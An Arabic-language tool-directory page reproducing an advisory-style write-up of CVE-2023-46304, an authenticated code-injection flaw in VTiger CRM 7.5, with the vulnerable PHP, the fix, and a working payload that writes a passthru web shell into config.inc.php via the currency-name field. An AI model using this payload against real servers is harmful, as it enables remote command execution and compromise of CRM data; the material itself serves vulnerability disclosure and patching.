Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-46304 — تنفيذ التعليمات البرمجية عن بُعد بعد المصادقة في في VTiger Open Source CRM v7.5 | Kitploit
أدوات/GitHubGitHub/jselliott/cve-2023-46304
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubjselliott/cve-2023-46304

CVE-2023-46304

تنفيذ التعليمات البرمجية عن بُعد بعد المصادقة في في VTiger Open Source CRM v7.5

عرض المستودع
1منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2023-46304

تنفيذ كود عن بُعد يتطلب مصادقة في VTiger Open Source CRM v7.5

الملخص

توجد ثغرة أمنية في وحدة Users في VTiger CRM Open Source الإصدار 7.5.0 الحالي، والتي تسمح لمهاجم مُصادَق بكتابة وتنفيذ كود PHP تعسفي في config.inc.php.

تفاصيل الاستغلال

عندما يتم مصادقة مستخدم في VTiger بشكل طبيعي، يتحقق النظام من حالة إعداده لمعرفة ما إذا كان مستخدمًا جديدًا لم يتم تكوينه بالكامل بعد. كما يتحقق أيضًا مما إذا كان هذا هو المستخدم الأول، أي مسؤول يجب عليه تكوين خصائص عامة معينة. إذا كان الأمر كذلك، يتم إعادة توجيهه إلى إجراء UserSetup في وحدة Users.

root@kitploit:~
$userSetupStatus = Users_CRMSetup::getUserSetupStatus($focus->id);
if ($userSetupStatus) {
    $user = $focus->retrieve_entity_info($focus->id, 'Users');
    $isFirstUser = Users_CRMSetup::isFirstUser($user);
    if($isFirstUser) {
        header('Location: index.php?module=Users&action=UserSetup');
    }

/modules/Users/Authenticate.php، السطر 112

في هذا الإجراء يوجد تحقق لمعرفة ما إذا كان المستخدم قد مرر إعداد عملة عامة ("USA, Dollars" افتراضيًا) ويتم حفظه باستخدام دالة updateBaseCurrency.

root@kitploit:~
//Handling the System Setup
$currencyName = $request->get('currency_name');
if(!empty($currencyName)) $userModuleModel->updateBaseCurrency($currencyName);
$userModuleModel->insertEntryIntoCRMSetup($userRecordModel->getId());
//End

/modules/Users/actions/UserSetupSave.php، السطر 28

في دالة updateBaseCurrency، يتم تعيين القيمة المقدمة كإعداد العملة العامة للنظام بأكمله في قاعدة البيانات، كما تستدعي دالة updateConfigFile، التي تفتح ملف الإعدادات وتستخدم PHP str_replace لاستبدال القيمة الحالية بالقيمة المقدمة.

root@kitploit:~
public function updateConfigFile($currencyName) {

    $currencyName = '$currency_name = \''.$currencyName.'\'';
    //Updating in config inc file
    $filename = 'config.inc.php';
    if (file_exists($filename)) {
        $contents = file_get_contents($filename);
        $currentBaseCurrenyName = $this->getBaseCurrencyName();
        $contents = str_replace('$currency_name =
        \''.$currentBaseCurrenyName.'\'', $currencyName, $contents);
        file_put_contents($filename, $contents);
    }
}

/modules/Users/models/Module.php، السطر 148

إجراء إعداد المستخدم في الإصدار الحالي من VTiger CRM لا يتحقق مما إذا كان المستخدم قد تم إعداده بالفعل أم لا، أو ما إذا كان لديه صلاحية تغيير المتغيرات العامة. إنه يفترض فقط أنك إذا كنت تصل إلى تلك الصفحة فأنت الشخص المسؤول عن تكوينها. لذلك، باستخدام كوكي جلسة قائم ورمز CSRF مأخوذ من أي تحميل صفحة مُصادَق عليها، يمكن لمستخدم خبيث إرسال قيمة عملة عبر POST مثل:

USA, Dollars';@passthru($_GET['cmd']);//

ثم تتم كتابة هذه القيمة بشكل أعمى في ملف config.inc.php على النحو التالي:

root@kitploit:~
//Master currency name
$currency_name = 'USA, Dollars';@passthru($_GET['cmd']);//';

نظرًا لأن ملف الإعدادات يتم تحميله في كل صفحة، يمكن للمستخدم الخبيث ببساطة تمرير أمر يونكس كمعامل cmd ورؤية المخرجات في أعلى الصفحة.

الحمولة المنفذة

المعالجة

تم إصلاح هذه المشكلة في هذا الكوميت حيث تمت إضافة تحقق إضافي لضمان عدم تمكن المستخدمين من إدخال أسماء عملات خبيثة، وبدلاً من ذلك يتم سحب القيمة من جدول قاعدة البيانات.

root@kitploit:~
public function updateBaseCurrency($currencyName) {
		$db = PearDatabase::getInstance();
		$result = $db->pquery('SELECT currency_code, currency_symbol, currency_name FROM vtiger_currencies WHERE currency_name = ?', array($currencyName));
		$num_rows = $db->num_rows($result);
		if ($num_rows > 0) {
			$currency_code = decode_html($db->query_result($result, 0, 'currency_code'));
			$currency_symbol = decode_html($db->query_result($result, 0,'currency_symbol'));
			$currencyName = decode_html($db->query_result($result, 0, 'currency_name')); // rewrite actual from table.
		} else {
			// Invalid currency name.
			return;
		}
		$this->updateConfigFile($currencyName);
		//Updating Database
		$query = 'UPDATE vtiger_currency_info SET currency_name = ?, currency_code = ?, currency_symbol = ? WHERE id = ?';
		$params = array($currencyName, $currency_code, $currency_symbol, '1');
		$db->pquery($query, $params);


	}
تنزيل الأداة